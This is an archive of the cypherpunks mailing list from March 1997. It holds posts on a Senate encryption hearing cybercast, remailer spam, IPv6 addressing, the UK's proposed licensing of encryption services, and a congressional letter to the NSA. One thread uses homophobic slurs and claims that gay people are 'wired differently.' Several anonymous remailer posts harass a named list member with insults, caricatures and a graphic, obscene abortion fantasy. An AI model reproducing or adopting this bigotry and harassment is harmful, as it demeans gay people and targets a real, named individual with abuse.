  throughout the 3 hour event.  The actual Senate hearing room (Russell
  253) where the event took place only holds less than one hundred people
  when filled to capacity (as it was for this hearing).

* Throughout the event, between 20 - 50 people joined the simultaneous
  live chat discussion where Commerce Committee staff and encryption
  policy experts fielded questions and discussed the hearing.  The
  audience included individual Internet users, reporters, advocacy
  groups, and Congressional staff.

* Twenty-three Internet users submitted formal comments for the hearing
  record via the democracy.net web page, including IETF chair Fred Baker.

The democracy.net cybercast was promoted on the front page of Netscape's
World Wide Web site (one of the most popular destinations on the entire
Web) on March 18 - 19. The site is also featured at Progressive Networks
WebActive Site of the Week for the week of March 17-21.

Despite some technical bugs early on (par for the course for a cutting-edge
Internet event such as this), the cybercast went even better than we
anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond,
Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for
their help and support of this effort.

Archives of the hearing are posted http://democracy.net/events/03191997/

democracy.net is a new project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizen particpation in the democratic process via the Internet.
democracy.net is made possible through the generous support of Webactive
Panix, Digex, and the Democracy Network. Visit
http://democracy.net/about/ for more details.

______________________________________________________________________________
UPCOMING EVENTS

* April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White
  (R-WA), Co-Founder of the Congressional Internet Caucus

* April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA),
  Key Representative from California's Silicon Valley and leader on Internet
  Policy issues.

* Additional events are in the works -- please visit http://www.democracy.net
  for more details, and sign up for our event announcement mailing list.

democracy.net town hall meetings will be moderated by Todd Lappin (Cyber
Rights Editor for Wired Magazine). The town hall meetings are designed to
bring interested members of the Internet community and key members of
congress together to discuss current Internet policy issues.

____________________________________________________________________________
VOLUNTEERING FOR DEMOCRACY.NET

A volunteer is needed to help index the RealAudio transcript of the
hearing.  If you would like to help, please do the following and mail the
results to webmaster at democracy.net.

To index the RealAudio transcript, please listen to the transcript and
watch the time counter at the bottom right of the page.  Please note the
following beginning and ending times:
   -whenever a new witness begins their prepared testimony and,
   -whenever a question and answer section begins.

Mail them to us at webmaster at democracy.net with the start and stop times
of each section.  Thanks!

____________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
PANIX Internet, the Democracy Network, and DIGEX Internet.  More
information about the project can be found at
http://democracy.net/about/

To receive democracy.net announcements automatically, please visit
http://democracy.net/
_____________________________________________________________________________
end Update No.2
03.20.97
=============================================================================





From pgh at dhp.com  Mon Mar 24 12:08:50 1997
From: pgh at dhp.com (Pittsburgh Admin)
Date: Mon, 24 Mar 1997 12:08:50 -0800 (PST)
Subject: Gays are Wired Differently
In-Reply-To: <3303DD64.3685@gte.net>
Message-ID: <Pine.LNX.3.95.970324150423.28116B-100000@dhp.com>


an astute comment here below.

On Thu, 13 Feb 1997, Dale Thorn wrote:

> aga wrote:
> > On 12 Feb 1997, Against Moderation wrote:
> > > aga <aga at dhp.com> writes:
> > > > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > > > have anything to do with it?
> 
> > > Doubtful.  Given the fact that gay people suffer a great deal of
> > > discrimination, they generally tend to be fairly open-minded.  I see
> > > no reason to believe Gilmore is in fact gay, but if he is it in no way
> > > affects my opinion of him.
> 
> (It sure doesn't affect my opinion of him.  He's such a total jerk
> and a conspiring creep that I haven't had to consider anything else).
> 
> Funny, isn't it?  Those people who *allegedly* suffer the most dis-
> crimination seem to be having the most fun, if you can call it that.
> If I were gay, which I'm not, I could get all the boyfriends I want.
> But being heterosexual, I would very much like to have women friends
> (just as friends mind you) for ordinary social purposes, yet it's not
> that easy.  I'd guess the gays are much more liberal with their multi-
> friendships than straight people are.
> 
> Another funny thing - I'm an ordinary English/Welsh/Dutch White person,
> and I've had plenty of White friends, and an equal percentage of Black
> friends given the number of Black people I've known, but I've never
> had a friend who was gay or lesbian, as far as I know, and I think
> I could tell.  I can only guess that the gays are very clique-ish,
> or their brains are wired differently than non-gays.
> 

That is it in a nutshell.
faggots are just not built like straight people.

> > Well, the fact remains that the homos are instrumental in creating and
> > forming a cliquish and censored usenet.  There is just no question
> > about that.  Remember the previous cypherpunk who stated that the
> > gays "created and run usenet."

and they were serious about that fact.

J.D. Falk was one of the faggots that said that, too.

> > It is very logical and wise to discriminate on the basis of sex.
> > I am not a racist, so therefore I can not be a "bigot," regardless of
> > my views on homosexuality.
> 







From sergey at el.net  Mon Mar 24 14:04:54 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Mon, 24 Mar 1997 14:04:54 -0800 (PST)
Subject: Remailer problem solution?
In-Reply-To: <199703232314.XAA01324@server.test.net>
Message-ID: <Pine.LNX.3.95.970324164349.142L-100000@void.el.net>


On Sun, 23 Mar 1997, Adam Back wrote:

-> Sergey Goldgaber <sergey at el.net> writes:
-> > 
-> > This is only a practical problem related to PGP's lack of popularity.
-> > The proposed solution will work in the long run, assuming PGP achieves
-> > great popularity.  Thus, education of the public concerning PGP and remailers
-> > will help make this solution more effective.
-> 
-> Yeah, but if we get to the stage where most people with email
-> addresses have PGP keys, sending messages encrytped with PGP won't
-> reduce the number of people subjected to messages the don't want to
-> see.

PGP's current lack of popularity does not prevent spammers from using
it.

-> A side benefit of using PGP, is that PGP encryption should add some
-> overhead to the spammer -- he can probably encrypt less messages per
-> second than he can spam down a T3 link.

Exactly!  A 400,000 address spam will take a non-trivial ammount of time
to prepare (46 days, assuming 10secs/message) if every message must be
encrypted with an individual's key.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From stewarts at ix.netcom.com  Mon Mar 24 14:41:15 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Mon, 24 Mar 1997 14:41:15 -0800 (PST)
Subject: American Registry for Internet Numbers?
In-Reply-To: <3336AA95.1FC1@dc.net>
Message-ID: <3.0.1.32.19970324113046.00624588@popd.ix.netcom.com>


At 08:23 AM 3/24/97 -0800, Robert Cannon <cannon at DC.NET> wrote:
>Does anyone know anything about ARIN (see www.arin.net).  This is a
>proposal to make IP numbering allocation seperate from domain name
>registration.  Currently NSI is paying for IP numbering paid for with
>its domain name fees.  Thus NSI is a big advocate of getting rid of this
>work which it is not receiving profit from.  But I find it difficult to
>discern from the ARIN web site how credible this proposal is. 

I'm not sure how credible it is.  However, a proposal to pay for
IP addresses now would be really bad timing.  The reason is that
sometime soon the net is going to change to IPv6.  It's not clear when,
given some of the stopgap measures to get by with existing IP space,
but it will probably be within the next 2-3 years.
There are three main differences between IPv6 and the current IPv4
1) It's different, so you need to upgrade your routers and machines,
	which is expensive and annoying.
2) IPSEC security feature support is mandatory, so various government
	agencies are footdragging
3) Addresses are 128 bits long instead of 32 bits.   
	
32 bits is 	4 billion, which would be enough for almost 
everybody on the planet to have one (except that the addressing 
structure wastes part of the space.)
64 bits is almost enough for everyone on the planet to have
a network number with a host number for everyone else.
It's almost enough for every human neuron on the planet to have an address.
128 bits is far, far larger than that.  Even if we waste lots of space
by using an inefficient structure, which we will to make routing easier,
there's still mindbogglingly more space than anyone needs.

There are two reasons to charge for Internet numbers:
1) Even if you've got nearly infinite supplies, somebody still
needs to coordinate it to prevent collisions, and this has non-zero cost.
2) Today, numbers are in short supply, so charging for them can
help reduce waste and bring in revenue for the lucky contractor,
especially if you charge by the address or size of address block.
Tomorrow, there are so many numbers that charging by the number
doesn't make sense - all you need is an initial coordination cost.
So if you want to make big bucks on this business tomorrow,
you'd better get the market locked in today.

There are alternative approaches that don't even require a registry.
For example, divide the address space into a 48-bit host part
(Ethernet numbers are unique) and an 80-bit network part,
and just pick a random network part.  On the average, the probability
of collisions is very low unless 2**40 other people are playing,
and you can put all the machines you want on that network.
If that's not guaranteed enough for you, you could use an
Ethernet board number as the network number (even if your
network isn't Ethernet based, you can buy a $50 board :-)

To put costs in perspective, the last time I checked, the Ethernet
industry charged manufacturers $1000 for a 24-bit chunk of numbers,
and there are 2**23 chunks available; there are very few manuacturers
who'll ever need to buy a second chunk, and not many manufacturers,
so this relatively high price is reasonable.  On the other hand,
if somebody wanted to set up a web-based registry of IPv6 numbers,
they could dole them out for a few dollars per chunk, most of which
would be spent on billing.  Perhaps the Ethernet folks could sell
IPv6 registry space for $1000/registry?

A bit of initial coordination can set aside different parts of the
number space for different strategies, and let the market settle it. 



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Mon Mar 24 14:41:21 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Mon, 24 Mar 1997 14:41:21 -0800 (PST)
Subject: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <9703240919.aa17593@gonzo.ben.algroup.co.uk>
Message-ID: <3.0.1.32.19970324125938.00624588@popd.ix.netcom.com>


At 09:51 AM 3/24/97 -0500, "Michael Froomkin - U.Miami School of Law" 
<froomkin at law.miami.edu> wrote:
>It may be that in the UK/EU usage has moved (been moved?) to the point
>where TTP => escrow.  If so, this is as unfortunate as the term "escrow"
itself.
The UK folks who introduced the term TTP did it in the context of escrow.

> I prefer "key bailment" myself.  
> It more closely captures the legal relationships.  
What a great term!  It does sound like it covers the legal relationship,
and it sounds like something the average person would rather avoid,
as opposed to escrow which is has a neutral-to-positive sound, 
or "Trusted Third Party" which drips saccharine
	"We're from H.M.Government, and we're here to help you"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From whgiii at amaranth.com  Mon Mar 24 16:27:23 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 24 Mar 1997 16:27:23 -0800 (PST)
Subject: [Proposal:] Revolving Web Mirrors
Message-ID: <199703241835.SAA00098@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I am working on a system of a revoloving web mirror.

The basic operation would be as follows:

1. The Server
- ------------

  The would be a server that would contain a colection of web pages that
have been "baned" or blocked due to their content by various countries. I
addition to this their would be a form that users could fill out to
subscribe to mirror a web page (details under User). The server would mail
out periodicaly to the users different web pages for them to mirror off of
their web pages.

2. The Forms
- ------------
  The Web Form for the user to fill out would give the user the options of
size/# of pages, general content type, and how often to change.

3. The User
- ----------

  The User would be able to offer some of his web space to mirror web pages
that due to their content have been blocked. The users should have a choice
of different catagories of web pages: political, sexual, crypto, ...ect.
(since they are donating the web space they should have some say in what
web pages they mirror).

  The User should be able to determin the amount of web space / # of web
pages he is willing to host.

  The User should be given the option of hosting HTML pages and/or
binaries. If he selects to host binaries he should have some selections as
to what binaries he is willing to host.

4. Links
- -------

 Some users may be unwilling or unable to mirror webpages. That may be
willing to provide links to baned web pages and/or to the web mirror
servers. A collection of links should be made available to the user so they
can be integrated into their web pages.

5. Notification
- ------------

 Users that have subscribed to the Mirror service should be sent e-mail
with a list of web pages that meet the options that they filled out in the
form. The should be given URL's of where they can download the pages along
with the orriginal web pages URL's so they can make the final determination
of what web pages they wish to mirror.



This is just a rough outline. If you have any thoughts or comments on this
please let me know.

If anyone has server space they could donate for such a project please let
me know.

Thanks,




- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBMzccE49Co1n+aLhhAQEvJAP9Edh72M0adX5ZXcKPo6qQvuvbLG/1u6Vo
CrPU8mMtRxbgBptRZgJ+fzCB98nEMASTUb/vkWx4He/sS5xs3Tjy5kS/fdxs9z4W
pNwoau9YsOJOOx8EMUIWJNU08x011kREqxFMP2M7ds+LHsO9HuVy/fvNPVJuXDOV
g7q/tEodJNc=
=+ixR
-----END PGP SIGNATURE-----






From aba at dcs.ex.ac.uk  Mon Mar 24 16:37:41 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 24 Mar 1997 16:37:41 -0800 (PST)
Subject: UK to ban free use of crypto?
In-Reply-To: <3.0.1.32.19970324005655.00627bd8@popd.ix.netcom.com>
Message-ID: <199703250023.AAA00902@server.test.net>



Bill Stewart <stewarts at ix.netcom.com> writes:
> The big problem is that the document has a really warped view of the 
> cryptographic and business services that a "Trusted Third Party" 
> would provide, and some parts are expressed in quite broad language.
> For instance, it implies that the TTP is being trusted with private keys,
> otherwise there would be no way for it to recover anything.
> 
> On the other hand, from their Q&A:
> 	Q: Will a TTP be able to access an encrypted message ? 
> 	A: No. It is important to be clear that it is not envisaged 
> 	that the encrypted communication would be routed via the TTP. 
> 	Nor will the TTP encrypt the message, it will merely assist 
> 	(depending on the service offered) in the very complex area of 
> 	key management or Key Certification. 

I think that the paper implies in several places that TTPs, if they
offer a CA service for public encryption keys, will also be required
to hold the private keys, and to hand the private keys over to the
government on demand.

This Q&A is not contradictory with this interpretation.

When they say that the TTP will not be able to decrypt the message,
what they mean is that it would be able to decrypt the message if the
message were given to it, but that that's not the way the GAK
architecture works.

What happens is they first obtain a authorisation for a wire tap, then
obtain copies of your email.  Then they go to the central access point
and ask for your private key.  Then *they* decrypt your email.  `The
TTP will not be able to access an encrypted message' in the sense that
they won't give it the message to decrypt.

> If the TTP is not encrypting the data, they don't need the secret key
> or your private key.  They DO need your public key, to sign it, 
> so a second party can trust that a key they have is really yours.
> But you and the second party can use the signed keys to exchange a
> secret session key, or to sign documents, without the TTP's help.*

This is bypassing the intent of the key-escrow/GAK functionality of a
TTP.  There is a section which discusses this, and makes it a design
criteria that users not be able to by pass the GAK function, whilst
making use of the signature certification function.  Personally, I'm
not sure that this is possible, as there a whole host of ways around
it.  (Use the signature key in the way you suggest, superencrypt,
subliminal channels, stego, etc).

> The main time you want another party to have a copy of your keys
> is for stored data:  to cover the "employee dies" case 
> (the document explicitly permits companies to handle their own keys 
> without regulation, so no TTP is needed here),

This is the point which I think should be pushed: the only commercial
need for CKE (_commerical_ key escrow) is for _stored_ data.  Do you
see any corporations crying out to open their communications for
industrial espionage by DISSI, NSA, GCHQ, etc.?

> SO - what _is_ all this malarkey about "legal access" and "key recovery"
> and "key escrow" systems?  The document claims repeatedly that it's not
> purporting to regulate any of the conditions under which a Third Party
> would ever be Trusted with the keys you actually encrypted something with.

I think there are several sections which imply that the TTP must keep
private encryption keys for any public encryption keys it holds (and
that it must allow government access to them).  There are many places
where the presumption is made that the TTP has the key to release to
government.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From mixmaster at remail.obscura.com  Mon Mar 24 17:13:14 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 24 Mar 1997 17:13:14 -0800 (PST)
Subject: No Subject
Message-ID: <199703250020.QAA14541@sirius.infonex.com>


Many forgeries are traceable with mathematical certainty to 
feebleminded Tim C[rook] May's poison keyboard.

         ( )( )________ Tim C[rook] May
         /00           \      _
        O_\\--mm---mm  /_______)






From mixmaster at remail.obscura.com  Mon Mar 24 17:13:20 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 24 Mar 1997 17:13:20 -0800 (PST)
Subject: No Subject
Message-ID: <199703250019.QAA14324@sirius.infonex.com>


Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
spelling and feeble responses clearly identify him as a 
product of the American education system.

         ___
       ./_ -\.
      q| o O |p
  -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise






From declan at well.com  Mon Mar 24 18:34:56 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 24 Mar 1997 18:34:56 -0800 (PST)
Subject: Reps. White and Bliley: requesting comments on crypto policy
Message-ID: <Pine.GSO.3.95.970324183355.20788A-100000@well.com>




---------- Forwarded message ----------
Date: Mon, 24 Mar 1997 19:33:39 -0500
From: Declan McCullagh <declan at well.com>
To: fight-censorship-announce at vorlon.mit.edu
Subject: FC: Reps. White and Bliley: requesting comments on crypto policy

Reps. Rick White (R-Washington) and Tom Bliley (R-Virginia) have been busy
sending out letters requesting comments on encryption policy -- and asking
pointed questions. The letters have gone to:

  Lieutenant General Kenneth Minihan, Director of the National Security Agency

  Secretary William Daley, United States Department of Commerce

  Director Louis Freeh, Federal Bureau of Investigation

  Ambassador David Aaron, U.S. Special Envoy for Cryptology

  Robert Holleyman, President of the Business Software Association

  Ken Wasch, President of the Software Publishers Association

  Kathy Kincaid, Director of I/T Security Programs at IBM

Attached is the one to the NSA.

-Declan

*******************

March 21, 1997

Lieutenant General Kenneth A. Minihan
Director
National Security Agency/Central Security Service
9800 Savage Road
Fort George G. Meade, MD 20755-6000
 

Dear General Minihan:

The Committee on Commerce has jurisdiction over
all matters relating to interstate and foreign
commerce, including commerce transacted over
electronic mediums. One vehicle for interstate
and foreign electronic commerce, the Internet,
has experienced unexpected and exceptional
growth. Our Committee has an obligation to ensure
that the growth of electronic commerce over the
Internet and other networks is not stifled by
unnecessary or harmful regulation or policies.
Thus, the Committee will be discussing what
policies best promote electronic commerce over
the Internet and other networks.

The growth and success of the Internet and the
World Wide Web as both a communications tool, and
a medium for electronic commerce is
unprecedented. Leading industry estimates
indicate that the number of people using the
Internet is increasing at the rate of more than
100% per year -- few technologies have had such
quick acceptance into the daily activities of
Americans. However, the full potential of the
Internet as a means for conducting business
transactions, or electronic commerce, has yet to
be achieved. Most leading experts agree that a
developed Internet, and corresponding intranets,
have the capability to be engines for economic
growth for those offering services over the
Internet, and also have the capability to be a
means for transforming business operations from
one of paper-intensity to one conducted solely
through electronic communications and
transactions.

Unlocking the full potential of the Internet and
thus, promoting the use of electronic commerce
has been difficult, in part, because of existing
and perceived barriers, e.g., many consumers and
businesses are concerned with the security and
privacy of transactions that would occur over the
Internet. A belief in the security of information
passed over the Internet and through on-line
services that use the public switched network
will foster the continued growth of electronic
commerce. Fortunately, the use of cryptography or
encryption, either hardware or software, may
provide a technological aid in the promotion of
electronic commerce. We believe, however, that a
sound encryption policy for both interstate and
foreign electronic commerce must balance users=
privacy interests with society=s interest in
legitimate law enforcement and investigative
needs and the needs to preserve national
security.

As you know, the U.S. has export restrictions on
certain encryption products that may or may not
interfere with the development of encryption
products designed to secure communications and
transactions. These restrictions have been the
subject of recently proposed legislation in
committees in both the House and Senate.

Because of our responsibility over electronic
commerce, we seek to have your views on a number
of the issues related to the various bills.
Therefore, we request that you provide written
answers to the following questions by April 25,
1997: (1) With the understanding that there are
no domestic restrictions on encryption products,
please provide examples where national security
may be jeopardized by the relaxation of current
American export restriction policy, as
incorporated in Executive Order 13026 and
implemented, in part, in the corresponding Bureau
of Export Administration rules of December 30,
1996. Are there remedies other than export
restrictions that would provide the United States
government the access it needs to encrypted
communications, e.g., increased funding for new
advanced computers? (2) How significant is your
agencies= consultive role with the Department of
Commerce within the current export restrictions?
Should this role be strengthened or is it even
necessary? How much additional application
process time does your agencies= consultive role
add to the Department of Commerce=s procedures?
(3) It is commonly accepted that current
encryption export restrictions imposed by the
Administration will delay the proliferation of
advanced encryption products, but that it is
inevitable that advanced encryption products will
be developed world-wide. In your opinion, do
export restrictions prevent the development and
distribution of advanced encryption products? (4)
Are foreign import restrictions consistent with
the Administration=s policy? Please identify the
countries that have import restrictions and those
that have stated their intent not to have any
import restrictions. If the United States relaxes
its export restrictions, do you anticipate that
foreign nations will increase their import
restrictions?

In addition, we request that your staff analyze
and submit their comments on the following: (1)
the current export restrictions; (2) the
congressional bills introduced that would alter
export policy (H.R. 695, S. 376, S. 377); and (3)
any other analysis related to encryption export
policy your organization has prepared.

Please have your staff contact John Morabito or
Tricia Paoletta of the Commerce Committee staff
at (202) 225-2927 if you have any questions
regarding the above request. We thank you in
advance for your assistance. With kindest
regards, we are

Sincerely,

 

Tom Bliley

Chairman


Rick White

Member of Congress





-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
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From dlv at bwalk.dm.com  Mon Mar 24 19:30:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Mar 1997 19:30:56 -0800 (PST)
Subject: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <v03007809af5c7b59b9dd@[207.167.93.63]>
Message-ID: <56g44D12w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:
> (I could go on and cite dozens of examples. Did ASCII need the "force of
> law" to  make it a better standard? Did the government have to certify,
> license, and regulate the makers of various implmentations of computer
> languages? And so on.)

Bad example, Timmy.  I used to hang out with the standards people and
yes, a lot of government purchases (both US and non-US) are mandated
to comply with ANSI and ISO standards, which is why vendors push so hard
to have their implementation declared the standard. Yes, U.S.Gov't does
buy certified ANSI C, Fortran, etc compilers, not to mention ADA.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From rah at shipwright.com  Mon Mar 24 19:43:09 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 24 Mar 1997 19:43:09 -0800 (PST)
Subject: Announce: list-abuse mailing list
Message-ID: <v030209a5af5cf8b9f408@[139.167.130.246]>



--- begin forwarded text


Date: Mon, 24 Mar 1997 15:12:13 +7
From: "John Buckman" <jbuckman at shelby.com>
Subject: Announce: list-abuse mailing list
To: listmom-talk at skyweyr.com
Precedence: Bulk
Sender: "ListMom-Talk Discussion List" <listmom-talk at skyweyr.com>
Reply-To: "ListMom-Talk Discussion List" <listmom-talk at skyweyr.com>

On the list-managers list, I suggested that a mailing list
discussing how to prevent mailing list abuse might be useful.

Based on the strongly positive feedback I received about the idea,
I've gone ahead and created a "list-abuse" mailing list.  I
apologize to members of "list-managers" who have already received
this announcement.

General instructions about joining "List-Abuse" are available at:
http://clio.lyris.net/list-abuse/

Alternatively, you can send email to: join-list-abuse at clio.lyris.net

About LIST-ABUSE: LIST-ABUSE is an Internet discussion group working
to stop abuses of Internet mailing lists. In particular, we aim to
stop mail bombs, spoofed-subscribers, denial of service attacks, and
other forms of "Mailing List Terrorism". Mailing list administrators,
authors of mailing list software, and others interested in mailing
list abuse are welcome to join.

John

John Buckman <jbuckman at shelby.com>
Shelby Group Ltd., http://www.shelby.com/
Developers of Lyris Email List Server

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From lucifer at dhp.com  Mon Mar 24 20:08:26 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 24 Mar 1997 20:08:26 -0800 (PST)
Subject: [IMPORTANT] Forgery detection
Message-ID: <199703250408.XAA32673@dhp.com>


Timmy C[rook] May's mother attempted to pro-choice the 
unwanted little bastard by fishing with a coat hanger in her 
giant cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little Timmy's 
fetal cranium (not much to begin with).

         _
        / '
       |
    /><oo><\  Timmy C[rook] May
   //[ `' ]\\






From snow at smoke.suba.com  Mon Mar 24 20:27:44 1997
From: snow at smoke.suba.com (snow)
Date: Mon, 24 Mar 1997 20:27:44 -0800 (PST)
Subject: Jackboots in Canada
In-Reply-To: <199703212230.OAA29364@slack.lne.com>
Message-ID: <199703250449.WAA00786@smoke.suba.com>


Eric said:
> owner-cypherpunks at sirius.infonex.com writes:
> > ...Hell's Angels and Rock Machine...have been battling for control of the
> > illegal drug trade in Canada.
> > Canadian justice minister, Allan Rock, said the measures would include
> > broadening laws on search warrants, electronic eavesdropping and bail
> > conditions for arrested gang members.
> The alternative, proposed by some goverment person (governor?) in Quebec, was
> to suspend "individual liberties" for bikers, making it possible to
> pull one over at any time, search them, and if explosives are found
> assume they're guilty until proven innocent. 
> That last part just floored me, how could anyone be willing to throw
> away rights like that?  At least here in the US they're not so

	It isn't their rights being thrown away, it is the rights of the 
evil bikers.






From jimbell at pacifier.com  Mon Mar 24 20:52:59 1997
From: jimbell at pacifier.com (jim bell)
Date: Mon, 24 Mar 1997 20:52:59 -0800 (PST)
Subject: UK to ban free use of crypto?
Message-ID: <199703250451.UAA13267@mail.pacifier.com>


At 12:56 AM 3/24/97 -0800, Bill Stewart wrote:
>The document is at http://dtiinfo1.dti.gov.uk/pubs/
>>It quite clearly does not intend to ban the use of cryptography or the
>>publication of cryptographic software.  
>
>And Michael Froomkin offers similar sentiments.  They're both lawyers,
>and I'm not (:-), so they're expected to do a better job of reading
>the legal parts of it.  On the other hand, the DTI says:
>	57.The legislation will provide that bodies wishing to offer 
>	or provide encryption services to the public in the UK will be 
>	required to obtain a licence. The legislation will give the 
>	Secretary of State discretion to determine appropriate licence conditions. 
>and it's got a really broad definition of "encryption services",
>including even things such as time-stamping.

Allowing government to "license" such services is a truly awful eventuality. 
 If such organizations merely had to comply with limited number of laws, 
getting around those laws would be relatively easy.  And the burden of proof 
(in many/most jurisdictions) is on the government to prove "guilt."  But the 
moment you start "licensing" those organizations, the licensing terms may 
allow refusal or revocation of license for little or no reason, or hidden 
reasons:  Perhaps the organization wouldn't "play footsie" with the 
government, giving up some information secretly and without a warrant.  
Potentially a large business goes down the drain.  Licensing is, therefore, 
an invitation to an essentially unlimited amount of coercion and manipulation.


Jim Bell
jimbell at pacifier.com





From raymond at wcs.net  Mon Mar 24 21:49:37 1997
From: raymond at wcs.net (Raymond Mereniuk)
Date: Mon, 24 Mar 1997 21:49:37 -0800 (PST)
Subject: Disturbed Individual
In-Reply-To: <199703250019.QAA14324@sirius.infonex.com>
Message-ID: <199703250618.WAA27055@mat.wcs.net>


The following message is the product of a disturbed individual.  From 
a Freudian perspective the sendee is projecting his own perversions 
onto the character of the subject of his ridicule.  This analysis is 
a touch simplistic but then who are we dealing with???
 


>Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
>spelling and feeble responses clearly identify him as a 
>product of the American education system.

         ___
       ./_ -\.
      q| o O |p
  -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise

Virtually

Raymond Mereniuk
Raymond at wcs.net





From jimbell at pacifier.com  Mon Mar 24 21:54:42 1997
From: jimbell at pacifier.com (jim bell)
Date: Mon, 24 Mar 1997 21:54:42 -0800 (PST)
Subject: INFO: Pro-CODE testimony available now online at democracy.net!
Message-ID: <199703250554.VAA22477@mail.pacifier.com>


At 02:22 PM 3/24/97 -0500, Shabbir Safdar wrote:

>The hearing was held by the Senate Commerce Committe to consider S. 377,
>the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
>issue of US encryption policy -- a critical issue to the Internet user
>community.

I, and maybe a lot of other people, are still waiting for somebody to do a 
side-by-side comparison of "Pro-Code 1997" with last year's version, the 
original.

What has changed?  For the worse?  Why?  Who wanted it changed?  Who changed 
it?  Are they embarrassed?


Jim Bell
jimbell at pacifier.com





From real at freenet.edmonton.ab.ca  Mon Mar 24 21:56:51 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 24 Mar 1997 21:56:51 -0800 (PST)
Subject: your mail
In-Reply-To: <199703250020.QAA14541@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970324225356.39424A-100000@fn2.freenet.edmonton.ab.ca>



>From the pervert VULIS

On Mon, 24 Mar 1997, Mix wrote:

> Many forgeries are traceable with mathematical certainty to 
> feebleminded Tim C[rook] May's poison keyboard.
> 
>          ( )( )________ Tim C[rook] May
>          /00           \      _
>         O_\\--mm---mm  /_______)
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From real at freenet.edmonton.ab.ca  Mon Mar 24 22:00:11 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 24 Mar 1997 22:00:11 -0800 (PST)
Subject: your mail
In-Reply-To: <199703250019.QAA14324@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970324225735.39424D-100000@fn2.freenet.edmonton.ab.ca>


On Mon, 24 Mar 1997, Mix wrote:

Vulis give it up.

> Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
> spelling and feeble responses clearly identify him as a 
> product of the American education system.
> 
>          ___
>        ./_ -\.
>       q| o O |p
>   -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From real at freenet.edmonton.ab.ca  Mon Mar 24 22:05:31 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
